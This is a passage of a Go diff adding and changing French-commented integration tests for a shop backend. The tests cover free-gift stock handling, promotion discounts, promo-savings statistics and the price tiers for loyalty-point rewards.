if _, err := testDB.AddToBasket(username, productID, 10); err == nil {
t.Fatal("stock=10 ne doit pas suffire pour livrer 10g + 1g offert")
}
}
// ── Intégration checkout : le bonus offert est bien décompté du stock ──────
//
// AddToBasket stocke déjà quantity = demandée + offerte (voir tests
// ci-dessus) ; CreateCommandWithAddress ne relit ni ne recalcule cette
// quantité — elle est copiée telle quelle dans command_items.quantite et
// utilisée telle quelle pour décrémenter products.stock (db_commands.go).
// Ces tests vérifient ce chemin de bout en bout, pas juste AddToBasket isolé.
func TestCheckout_FreeGiftBonusQuantityDecrementsStock(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "freegift_checkout_stock")
productID := newTestProduct(t, "FreeGiftCheckoutStock", 50)
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
s := db.DefaultSettings()
s.FreeGiftsEnabled = true
s.FreeGifts = []models.CategoryFreeGiftConfig{
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
{BuyQuantity: 10, FreeQuantity: 1},
}},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
if _, err := testDB.AddToBasket(username, productID, 10); err != nil {
t.Fatalf("AddToBasket: %v", err)
}
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
if err != nil {
t.Fatalf("CreateCommandWithAddress: %v", err)
}
// 50 initial - (10 demandés + 1 offert) = 39, pas 40.
if got := productStock(t, productID); got != 39 {
t.Errorf("stock après checkout avec cadeau: got=%.2f want=39 (50 - 11)", got)
}
var item struct {
Quantite float64 `gorm:"column:quantite"`
Prix float64 `gorm:"column:prix"`
}
if err := testDB.GDB.Raw(
`SELECT quantite, prix FROM command_items WHERE command_id = ? AND product_id = ?`,
cmd.ID, productID,
).Scan(&item).Error; err != nil {
t.Fatalf("lecture command_items: %v", err)
}
if item.Quantite != 11 {
t.Errorf("command_items.quantite doit inclure le cadeau: got=%.2f want=11", item.Quantite)
}
if item.Prix != 10.0 {
t.Errorf("command_items.prix ne doit pas changer (facturé sur les 10g demandés): got=%.2f want=10.00", item.Prix)
}
}
func TestCheckout_FreeGiftRollsBackWhenStockInsufficientForBonus(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "freegift_checkout_rollback")
productID := newTestProduct(t, "FreeGiftCheckoutRollback", 50)
s := db.DefaultSettings()
s.FreeGiftsEnabled = true
s.FreeGifts = []models.CategoryFreeGiftConfig{
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
{BuyQuantity: 10, FreeQuantity: 1},
}},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
if _, err := testDB.AddToBasket(username, productID, 10); err != nil {
t.Fatalf("AddToBasket: %v", err)
}
// Le stock chute sous 11 (10 demandés + 1 offert) après l'ajout au panier,
// simulant une vente concurrente qui vide le stock entre AddToBasket et
// checkout — le checkout doit échouer et ne rien décrémenter.
if err := testDB.GDB.Exec(`UPDATE products SET stock = 10 WHERE id = ?`, productID).Error; err != nil {
t.Fatalf("réduction stock: %v", err)
}
if _, err := testDB.CreateCommandWithAddress(username, "1 rue de test"); err == nil {
t.Fatal("checkout attendu en échec: stock=10 insuffisant pour 10 demandés + 1 offert")
}
if got := productStock(t, productID); got != 10 {
t.Errorf("stock ne doit pas bouger si le checkout échoue: got=%.2f want=10", got)
}
}
// ── Intégration annulation : le remboursement inclut le bonus offert ───────
func TestCancelCommandAtomic_RefundsFreeGiftBonusQuantity(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "freegift_cancel_refund")
productID := newTestProduct(t, "FreeGiftCancelRefund", 50)
s := db.DefaultSettings()
s.FreeGiftsEnabled = true
s.FreeGifts = []models.CategoryFreeGiftConfig{
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
{BuyQuantity: 10, FreeQuantity: 1},
}},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
if _, err := testDB.AddToBasket(username, productID, 10); err != nil {
t.Fatalf("AddToBasket: %v", err)
}
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
if err != nil {
t.Fatalf("CreateCommandWithAddress: %v", err)
}
if got := productStock(t, productID); got != 39 {
t.Fatalf("précondition stock post-checkout: got=%.2f want=39", got)
}
if _, err := testDB.CancelCommandAtomic(cmd.ID, username, "test", false); err != nil {
t.Fatalf("CancelCommandAtomic: %v", err)
}
// 39 + 11 (10 demandés + 1 offert) = 50, retour exact au stock initial.
if got := productStock(t, productID); got != 50 {
t.Errorf("stock après annulation (bonus offert inclus dans le remboursement): got=%.2f want=50", got)
}
// Rejeu : ne doit rembourser qu'une fois.
if _, err := testDB.CancelCommandAtomic(cmd.ID, username, "test", false); err == nil {
t.Fatal("le second appel sur une commande déjà annulée doit échouer, pas rembourser une seconde fois")
}
if got := productStock(t, productID); got != 50 {
t.Errorf("stock après double annulation: got=%.2f want=50 (un seul remboursement)", got)
}
}
// ── Cumul avec les promotions de prix ───────────────────────────────────────
//
// Une offre "achetez X, Y offert" et une promotion de réduction (%) sur le
// même produit doivent pouvoir s'appliquer ensemble : la promotion réduit le
// prix facturé sur la quantité demandée, le cadeau ajoute de la quantité
// livrée sans toucher au prix — les deux mécanismes sont indépendants dans
// AddToBasket (voir db_basket.go) mais rien ne garantissait jusqu'ici qu'ils
// ne s'écrasent pas mutuellement une fois combinés.
func TestAddToBasket_FreeGiftAndPromotionBothApplyTogether(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "freegift_promo_combo")
productID := newTestProduct(t, "FreeGiftPromoCombo", 50)
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
s := db.DefaultSettings()
s.PromotionsEnabled = true
s.Promotions = []models.CategoryPromotionConfig{
{Category: "test", AllProducts: true, Quantity: 10, DiscountPercent: 20},
}
s.FreeGiftsEnabled = true
s.FreeGifts = []models.CategoryFreeGiftConfig{
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
{BuyQuantity: 10, FreeQuantity: 1},
}},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
basket, err := testDB.AddToBasket(username, productID, 10)
if err != nil {
t.Fatalf("AddToBasket: %v", err)
}
if basket.Quantity != 11 {
t.Errorf("le cadeau doit s'appliquer malgré la promo active: got quantity=%.2f want=11", basket.Quantity)
}
if basket.Price != 8.0 {
t.Errorf("la promo doit s'appliquer malgré le cadeau actif: got price=%.2f want=8.00 (10€ - 20%%)", basket.Price)
}
}
+308
View File
@@ -0,0 +1,308 @@
package tests
import (
"gestion/db"
"gestion/models"
"testing"
"time"
)
// ── Traçage du montant économisé (AddToBasket → command_items) ─────────────
//
// command_items.promo_discount / baskets.promo_discount capturent le montant
// (€) économisé par une promotion de prix au moment de AddToBasket, pour
// permettre des statistiques historiques fiables même si la configuration de
// promotion change ensuite (voir db_basket.go, commentaire sur promoDiscount).
func TestAddToBasket_TracksPromoDiscountAmount(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "promo_discount_track")
productID := newTestProduct(t, "PromoDiscountTrack", 20)
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
s := db.DefaultSettings()
s.PromotionsEnabled = true
s.Promotions = []models.CategoryPromotionConfig{
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
basket, err := testDB.AddToBasket(username, productID, 1)
if err != nil {
t.Fatalf("AddToBasket: %v", err)
}
if basket.Price != 8.0 {
t.Fatalf("précondition prix promo: got=%.2f want=8.00", basket.Price)
}
if basket.PromoDiscount != 2.0 {
t.Errorf("promo_discount doit être l'écart catalogue/promo: got=%.2f want=2.00 (10€-8€)", basket.PromoDiscount)
}
}
func TestAddToBasket_NoPromoDiscountWithoutPromotion(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "promo_discount_none")
productID := newTestProduct(t, "PromoDiscountNone", 20)
basket, err := testDB.AddToBasket(username, productID, 1)
if err != nil {
t.Fatalf("AddToBasket: %v", err)
}
if basket.PromoDiscount != 0 {
t.Errorf("sans promo, promo_discount doit rester à 0: got=%.2f", basket.PromoDiscount)
}
}
// Deux ajouts successifs du même produit (même ligne panier, is_reward=false)
// fusionnent quantité et prix (voir AddToBasket) — promo_discount doit être
// cumulé de la même façon, pas remplacé par le dernier ajout.
func TestAddToBasket_MergePromoDiscountAccumulatesAcrossAdds(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "promo_discount_merge")
productID := newTestProduct(t, "PromoDiscountMerge", 20)
s := db.DefaultSettings()
s.PromotionsEnabled = true
s.Promotions = []models.CategoryPromotionConfig{
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
t.Fatalf("AddToBasket (1er ajout): %v", err)
}
basket, err := testDB.AddToBasket(username, productID, 1)
if err != nil {
t.Fatalf("AddToBasket (2e ajout): %v", err)
}
if basket.PromoDiscount != 4.0 {
t.Errorf("le cumul des deux ajouts doit sommer les remises: got=%.2f want=4.00 (2×2€)", basket.PromoDiscount)
}
}
func TestCheckout_PromoDiscountCopiedToCommandItems(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "promo_discount_checkout")
productID := newTestProduct(t, "PromoDiscountCheckout", 20)
s := db.DefaultSettings()
s.PromotionsEnabled = true
s.Promotions = []models.CategoryPromotionConfig{
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
t.Fatalf("AddToBasket: %v", err)
}
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
if err != nil {
t.Fatalf("CreateCommandWithAddress: %v", err)
}
var discount float64
if err := testDB.GDB.Raw(
`SELECT promo_discount FROM command_items WHERE command_id = ? AND product_id = ?`,
cmd.ID, productID,
).Scan(&discount).Error; err != nil {
t.Fatalf("lecture command_items: %v", err)
}
if discount != 2.0 {
t.Errorf("promo_discount doit être copié tel quel au checkout: got=%.2f want=2.00", discount)
}
}
// ── Stats admin : total économisé et nombre de commandes concernées ────────
func approveTestCommand(t *testing.T, commandID int) {
t.Helper()
if err := testDB.GDB.Exec(`UPDATE commandes SET status = 'approved' WHERE id = ?`, commandID).Error; err != nil {
t.Fatalf("passage en approved: %v", err)
}
}
func TestTotalPromoDiscount_SumsOnlyApprovedOrders(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "stats_promo_discount")
productID := newTestProduct(t, "StatsPromoDiscount", 20)
s := db.DefaultSettings()
s.PromotionsEnabled = true
s.Promotions = []models.CategoryPromotionConfig{
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
// Commande 1 : avec promo, approuvée → comptée.
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
t.Fatalf("AddToBasket (cmd1): %v", err)
}
cmd1, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
if err != nil {
t.Fatalf("CreateCommandWithAddress (cmd1): %v", err)
}
approveTestCommand(t, cmd1.ID)
// Commande 2 : avec promo, restée "pending" (statut par défaut du
// checkout) → NE DOIT PAS être comptée.
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
t.Fatalf("AddToBasket (cmd2): %v", err)
}
if _, err := testDB.CreateCommandWithAddress(username, "1 rue de test"); err != nil {
t.Fatalf("CreateCommandWithAddress (cmd2): %v", err)
}
total, err := testDB.TotalPromoDiscount(time.Time{})
if err != nil {
t.Fatalf("TotalPromoDiscount: %v", err)
}
if total != 2.0 {
t.Errorf("seule la commande approuvée doit compter: got=%.2f want=2.00", total)
}
count, err := testDB.PromoOrdersCount(time.Time{})
if err != nil {
t.Fatalf("PromoOrdersCount: %v", err)
}
if count != 1 {
t.Errorf("une seule commande approuvée avec promo: got=%d want=1", count)
}
}
func TestTotalPromoDiscount_RespectsResetFilter(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "stats_promo_reset")
productID := newTestProduct(t, "StatsPromoReset", 20)
s := db.DefaultSettings()
s.PromotionsEnabled = true
s.Promotions = []models.CategoryPromotionConfig{
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
t.Fatalf("AddToBasket: %v", err)
}
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
if err != nil {
t.Fatalf("CreateCommandWithAddress: %v", err)
}
approveTestCommand(t, cmd.ID)
// Un reset postérieur à la création de la commande doit l'exclure — sert
// aussi à vérifier que la jointure command_items/commandes qualifie bien
// created_at par l'alias (les deux tables ont une colonne created_at,
// donc une clause non qualifiée provoquerait une erreur Postgres
// "ambiguous column" plutôt qu'un mauvais résultat).
future := time.Now().Add(time.Hour)
total, err := testDB.TotalPromoDiscount(future)
if err != nil {
t.Fatalf("TotalPromoDiscount: %v", err)
}
if total != 0 {
t.Errorf("commande antérieure au reset: doit être exclue: got=%.2f want=0", total)
}
count, err := testDB.PromoOrdersCount(future)
if err != nil {
t.Fatalf("PromoOrdersCount: %v", err)
}
if count != 0 {
t.Errorf("commande antérieure au reset: doit être exclue: got=%d want=0", count)
}
}
// Une commande avec plusieurs lignes en promo ne doit compter qu'une fois
// dans PromoOrdersCount (COUNT DISTINCT command_id), mais le montant total
// doit sommer toutes les lignes.
func TestPromoOrdersCount_CountsOrderOnceDespiteMultipleDiscountedItems(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "stats_promo_multi")
productA := newTestProduct(t, "StatsPromoMultiA", 20)
productB := newTestProduct(t, "StatsPromoMultiB", 20)
s := db.DefaultSettings()
s.PromotionsEnabled = true
s.Promotions = []models.CategoryPromotionConfig{
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
if _, err := testDB.AddToBasket(username, productA, 1); err != nil {
t.Fatalf("AddToBasket A: %v", err)
}
if _, err := testDB.AddToBasket(username, productB, 1); err != nil {
t.Fatalf("AddToBasket B: %v", err)
}
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
if err != nil {
t.Fatalf("CreateCommandWithAddress: %v", err)
}
approveTestCommand(t, cmd.ID)
count, err := testDB.PromoOrdersCount(time.Time{})
if err != nil {
t.Fatalf("PromoOrdersCount: %v", err)
}
if count != 1 {
t.Errorf("une commande avec 2 lignes en promo doit compter une seule fois: got=%d want=1", count)
}
total, err := testDB.TotalPromoDiscount(time.Time{})
if err != nil {
t.Fatalf("TotalPromoDiscount: %v", err)
}
if total != 4.0 {
t.Errorf("le montant total doit sommer les deux lignes: got=%.2f want=4.00 (2×2€)", total)
}
}
func TestPromoOrdersCount_IgnoresOrdersWithoutDiscount(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "stats_promo_zero")
productID := newTestProduct(t, "StatsPromoZero", 20)
// Aucune promotion configurée : promo_discount reste à 0 pour cette commande.
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
t.Fatalf("AddToBasket: %v", err)
}
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
if err != nil {
t.Fatalf("CreateCommandWithAddress: %v", err)
}
approveTestCommand(t, cmd.ID)
count, err := testDB.PromoOrdersCount(time.Time{})
if err != nil {
t.Fatalf("PromoOrdersCount: %v", err)
}
if count != 0 {
t.Errorf("aucune commande sans promo ne doit être comptée: got=%d want=0", count)
}
total, err := testDB.TotalPromoDiscount(time.Time{})
if err != nil {
t.Fatalf("TotalPromoDiscount: %v", err)
}
if total != 0 {
t.Errorf("aucun montant économisé sans promo: got=%.2f want=0", total)
}
}
+271
View File
@@ -0,0 +1,271 @@
package tests
import (
"encoding/json"
"gestion/db"
"gestion/handlers"
"gestion/models"
"net/http"
"net/http/httptest"
"strconv"
"testing"
"github.com/gin-gonic/gin"
)
// configurePromotionSettings applique les settings donnés (avec Promotions)
// via testDB.UpdateSettings, comme le ferait l'admin — testDB.UpdateSettings
// normalise déjà les slices nil, donc ce helper reste minimal.
func configurePromotionSettings(t *testing.T, settings models.AppSettings) {
t.Helper()
if err := testDB.UpdateSettings(settings); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
}
// ── Persistance des settings (save→reload) ──────────────────────────────────
func TestUpdateSettings_PromotionsRoundTrip(t *testing.T) {
resetSettingsAfterTest(t)
s := db.DefaultSettings()
s.PromotionsEnabled = true
s.Promotions = []models.CategoryPromotionConfig{
{
Category: "test",
DiscountPercent: 15.5,
AllProducts: false,
Products: []models.PromotionProductQuantity{
{ProductID: 111, Quantity: 2},
{ProductID: 222, Quantity: 1},
},
},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings: %v", err)
}
if !loaded.PromotionsEnabled {
t.Fatal("promotions_enabled devrait être true après reload")
}
if len(loaded.Promotions) != 1 {
t.Fatalf("promotions: got=%d want=1: %+v", len(loaded.Promotions), loaded.Promotions)
}
promo := loaded.Promotions[0]
if promo.Category != "test" || promo.DiscountPercent != 15.5 {
t.Errorf("promo mal persistée: got=%+v", promo)
}
if len(promo.Products) != 2 || promo.Products[0].ProductID != 111 || promo.Products[0].Quantity != 2 {
t.Errorf("products mal persistés: got=%+v", promo.Products)
}
// Désactivation : doit persister à false, pas de résurrection (même
// classe de bug que TestUpdateSettings_DisablingPointsRewardPersistsAsNil).
s.PromotionsEnabled = false
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings (désactivation): %v", err)
}
loaded, err = testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings (désactivation): %v", err)
}
if loaded.PromotionsEnabled {
t.Error("promotions_enabled devrait rester false après désactivation")
}
}
// ── Résolution de la réduction (logique pure) ───────────────────────────────
func TestResolvePromotionDiscount_MatchesAllProductsAtConfiguredQuantity(t *testing.T) {
settings := &models.AppSettings{
PromotionsEnabled: true,
Promotions: []models.CategoryPromotionConfig{
{Category: "fleurs", DiscountPercent: 20, AllProducts: true, Quantity: 5},
},
}
discount, ok := db.ResolvePromotionDiscount(settings, 42, "fleurs", 5)
if !ok || discount != 20 {
t.Errorf("got discount=%.2f ok=%v want=20/true", discount, ok)
}
// Mauvaise quantité : pas de promo.
if _, ok := db.ResolvePromotionDiscount(settings, 42, "fleurs", 3); ok {
t.Error("ne devrait pas matcher une quantité différente de celle configurée")
}
// Mauvaise catégorie : pas de promo.
if _, ok := db.ResolvePromotionDiscount(settings, 42, "autre", 5); ok {
t.Error("ne devrait pas matcher une catégorie différente")
}
}
func TestResolvePromotionDiscount_DisabledReturnsNoDiscount(t *testing.T) {
settings := &models.AppSettings{
PromotionsEnabled: false,
Promotions: []models.CategoryPromotionConfig{
{Category: "fleurs", DiscountPercent: 20, AllProducts: true, Quantity: 5},
},
}
if _, ok := db.ResolvePromotionDiscount(settings, 42, "fleurs", 5); ok {
t.Error("aucune promo ne doit s'appliquer si promotions_enabled = false")
}
}
func TestResolvePromotionDiscount_PerProductSelection(t *testing.T) {
settings := &models.AppSettings{
PromotionsEnabled: true,
Promotions: []models.CategoryPromotionConfig{
{
Category: "fleurs",
AllProducts: false,
Products: []models.PromotionProductQuantity{
{ProductID: 1, Quantity: 2},
},
DiscountPercent: 10,
},
},
}
if discount, ok := db.ResolvePromotionDiscount(settings, 1, "fleurs", 2); !ok || discount != 10 {
t.Errorf("produit sélectionné à la bonne quantité: got discount=%.2f ok=%v", discount, ok)
}
if _, ok := db.ResolvePromotionDiscount(settings, 1, "fleurs", 3); ok {
t.Error("mauvaise quantité pour ce produit : ne doit pas matcher")
}
if _, ok := db.ResolvePromotionDiscount(settings, 2, "fleurs", 2); ok {
t.Error("produit non sélectionné : ne doit pas matcher")
}
}
// ── AddToBasket applique réellement la réduction au prix facturé ───────────
func TestAddToBasket_AppliesPromotionDiscount(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "promo_basket_applies")
productID := newTestProduct(t, "PromoBasketApplies", 10)
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
s := db.DefaultSettings()
s.PromotionsEnabled = true
s.Promotions = []models.CategoryPromotionConfig{
{Category: "test", DiscountPercent: 20, AllProducts: true, Quantity: 1},
}
configurePromotionSettings(t, s)
basket, err := testDB.AddToBasket(username, productID, 1)
if err != nil {
t.Fatalf("AddToBasket: %v", err)
}
if basket.Price != 8.0 {
t.Errorf("prix attendu = 10€ - 20%% = 8.00€: got=%.2f", basket.Price)
}
}
func TestAddToBasket_NoDiscountWhenPromotionsDisabled(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "promo_basket_disabled")
productID := newTestProduct(t, "PromoBasketDisabled", 10)
s := db.DefaultSettings()
s.PromotionsEnabled = false
s.Promotions = []models.CategoryPromotionConfig{
{Category: "test", DiscountPercent: 20, AllProducts: true, Quantity: 1},
}
configurePromotionSettings(t, s)
basket, err := testDB.AddToBasket(username, productID, 1)
if err != nil {
t.Fatalf("AddToBasket: %v", err)
}
if basket.Price != 10.0 {
t.Errorf("promotions désactivées: le prix catalogue plein doit s'appliquer: got=%.2f want=10.00", basket.Price)
}
}
func TestAddToBasket_NoDiscountForDifferentProductSelection(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "promo_basket_other_product")
promotedID := newTestProduct(t, "PromoBasketOtherPromoted", 10)
otherID := newTestProduct(t, "PromoBasketOtherPlain", 10)
s := db.DefaultSettings()
s.PromotionsEnabled = true
s.Promotions = []models.CategoryPromotionConfig{
{
Category: "test",
AllProducts: false,
Products: []models.PromotionProductQuantity{{ProductID: promotedID, Quantity: 1}},
DiscountPercent: 50,
},
}
configurePromotionSettings(t, s)
promotedBasket, err := testDB.AddToBasket(username, promotedID, 1)
if err != nil {
t.Fatalf("AddToBasket (promu): %v", err)
}
if promotedBasket.Price != 5.0 {
t.Errorf("produit promu: prix attendu = 10€ - 50%% = 5.00€: got=%.2f", promotedBasket.Price)
}
otherBasket, err := testDB.AddToBasket(username, otherID, 1)
if err != nil {
t.Fatalf("AddToBasket (autre): %v", err)
}
if otherBasket.Price != 10.0 {
t.Errorf("produit non sélectionné dans la promo: prix plein attendu=10.00: got=%.2f", otherBasket.Price)
}
}
// ── Affichage catalogue : le prix promo est annoté sur le palier concerné ──
func TestGetProductByID_AnnotatesPromoPriceOnMatchingTier(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
productID := newTestProduct(t, "PromoDisplayAnnotated", 10)
s := db.DefaultSettings()
s.PromotionsEnabled = true
s.Promotions = []models.CategoryPromotionConfig{
{Category: "test", DiscountPercent: 25, AllProducts: true, Quantity: 1},
}
configurePromotionSettings(t, s)
idStr := strconv.Itoa(productID)
req := httptest.NewRequest(http.MethodGet, "/api/v1/products/"+idStr, nil)
rec := httptest.NewRecorder()
c, _ := gin.CreateTestContext(rec)
c.Request = req
c.Set("database", testDB)
c.Params = gin.Params{{Key: "id", Value: idStr}}
c.Set("role", "client")
handlers.GetProductByID(c)
if rec.Code != http.StatusOK {
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
}
var resp struct {
Data models.Product `json:"data"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
}
if len(resp.Data.Prices) != 1 {
t.Fatalf("attendu 1 palier de prix: got=%+v", resp.Data.Prices)
}
tier := resp.Data.Prices[0]
if tier.PromoPrice == nil {
t.Fatal("PromoPrice devrait être renseigné pour ce palier couvert par la promo")
}
if *tier.PromoPrice != 7.5 {
t.Errorf("promo_price attendu = 10€ - 25%% = 7.50€: got=%.2f", *tier.PromoPrice)
}
if tier.PromoPercent != 25 {
t.Errorf("promo_percent attendu=25: got=%.2f", tier.PromoPercent)
}
}
+232 -28
View File
@@ -25,9 +25,9 @@ func claimRewardContext(username string, body []byte) (*gin.Context, *httptest.R
}
// configureRewardSettings applique la récompense donnée, avec pool_0 mappé
// sur la catégorie "test" — nécessaire pour que eligibleRewardProducts
// sur la catégorie "test" — nécessaire pour que resolveCategoryRewardCandidates
// (qui croise pool.Categories et reward.CategoryConfigs) considère les
// reward_items comme éligibles.
// produits de la catégorie comme éligibles.
func configureRewardSettings(t *testing.T, reward *models.PointsReward) {
t.Helper()
settings := db.DefaultSettings()
@@ -39,17 +39,20 @@ func configureRewardSettings(t *testing.T, reward *models.PointsReward) {
}
// Flux complet réel : POST /points/claim avec un seuil atteint doit ajouter
// le produit récompense configuré au panier et décompter la récompense.
// le produit récompense configuré au panier et décompter la récompense. Le
// produit éligible et sa quantité sont désormais définis directement dans le
// bloc catégorie (RewardCategoryConfig), plus de liste "reward_items" à part.
func TestClaimMyReward_HTTPFlow_AddsRewardToBasketAndDecrementsAvailable(t *testing.T) {
cleanupStockTestData(t)
username := newTestClient(t, "reward_http_flow")
rewardProductID := newTestProduct(t, "RewardHTTPFlow", 5)
configureRewardSettings(t, &models.PointsReward{
Threshold: 20,
Description: "Un produit offert",
CategoryConfigs: []models.RewardCategoryConfig{{Category: "test", Type: "free_product", AllProducts: true}},
RewardItems: []models.RewardItem{{ProductID: rewardProductID, Quantity: 1, Price: 12}},
Threshold: 20,
Description: "Un produit offert",
CategoryConfigs: []models.RewardCategoryConfig{
{Category: "test", Type: "free_product", AllProducts: true, Quantity: 1},
},
})
setClientPoolPoints(t, username, "pool_0", 20)
@@ -85,9 +88,9 @@ func TestClaimMyReward_HTTPFlow_AddsRewardToBasketAndDecrementsAvailable(t *test
}
}
// Catégorie configurée en "half_price_product" : le produit récompense doit
// être ajouté au panier à 50% du prix catalogue actif (pas 0€, pas le prix
// indicatif RewardItem.Price saisi par l'admin).
// Catégorie configurée en "half_price_product" avec quantité=1 : le produit
// récompense doit être ajouté au panier à 50% du prix catalogue actif pour
// cette quantité (palier ≤ 1), pas 0€.
func TestClaimMyReward_HTTPFlow_HalfPriceCategoryChargesFiftyPercentOfCatalogPrice(t *testing.T) {
cleanupStockTestData(t)
username := newTestClient(t, "reward_http_halfprice")
@@ -95,10 +98,11 @@ func TestClaimMyReward_HTTPFlow_HalfPriceCategoryChargesFiftyPercentOfCatalogPri
// newTestProduct crée un prix actif de 10.00€ pour quantity=1 (voir tests/main_test.go).
configureRewardSettings(t, &models.PointsReward{
Threshold: 20,
Description: "Un produit à moitié prix",
CategoryConfigs: []models.RewardCategoryConfig{{Category: "test", Type: "half_price_product", AllProducts: true}},
RewardItems: []models.RewardItem{{ProductID: rewardProductID, Quantity: 1, Price: 999}}, // Price indicatif, doit être ignoré
Threshold: 20,
Description: "Un produit à moitié prix",
CategoryConfigs: []models.RewardCategoryConfig{
{Category: "test", Type: "half_price_product", AllProducts: true, Quantity: 1},
},
})
setClientPoolPoints(t, username, "pool_0", 20)
@@ -119,15 +123,60 @@ func TestClaimMyReward_HTTPFlow_HalfPriceCategoryChargesFiftyPercentOfCatalogPri
}
}
// La quantité configurée dans le bloc catégorie détermine le palier de prix
// utilisé pour le calcul du -50% (ex: 30€ le palier quantity=1 → 15€ facturé),
// pas un prix indicatif saisi ailleurs.
func TestClaimMyReward_HTTPFlow_HalfPriceUsesConfiguredQuantityForPriceTier(t *testing.T) {
cleanupStockTestData(t)
username := newTestClient(t, "reward_http_halfprice_qty")
rewardProductID := newTestProduct(t, "RewardHTTPHalfPriceQty", 20)
// Ajoute un palier quantity=3 à 30€ (en plus du palier quantity=1 à 10€ créé par newTestProduct).
if err := testDB.GDB.Exec(
`INSERT INTO product_prices (product_id, quantity, price, active_price) VALUES (?, 3, 30.00, true)`,
rewardProductID,
).Error; err != nil {
t.Fatalf("création palier de prix supplémentaire: %v", err)
}
configureRewardSettings(t, &models.PointsReward{
Threshold: 20,
Description: "Un produit à moitié prix, quantité 3",
CategoryConfigs: []models.RewardCategoryConfig{
{Category: "test", Type: "half_price_product", AllProducts: true, Quantity: 3},
},
})
setClientPoolPoints(t, username, "pool_0", 20)
body, _ := json.Marshal(map[string]string{"pool_key": "pool_0"})
c, rec := claimRewardContext(username, body)
handlers.ClaimMyReward(c)
if rec.Code != http.StatusOK {
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
}
rows := basketRewardItems(t, username)
if len(rows) != 1 || rows[0].ProductID != rewardProductID {
t.Fatalf("le produit récompense doit être dans le panier: %+v", rows)
}
if rows[0].Quantity != 3 {
t.Errorf("la quantité en panier doit être celle configurée pour la catégorie: got=%.2f want=3", rows[0].Quantity)
}
if rows[0].Price != 15.0 {
t.Errorf("palier quantity=3 à 30€ : prix attendu = 50%% = 15.00€: got=%.2f", rows[0].Price)
}
}
func TestClaimMyReward_HTTPFlow_RejectsWhenBelowThreshold(t *testing.T) {
cleanupStockTestData(t)
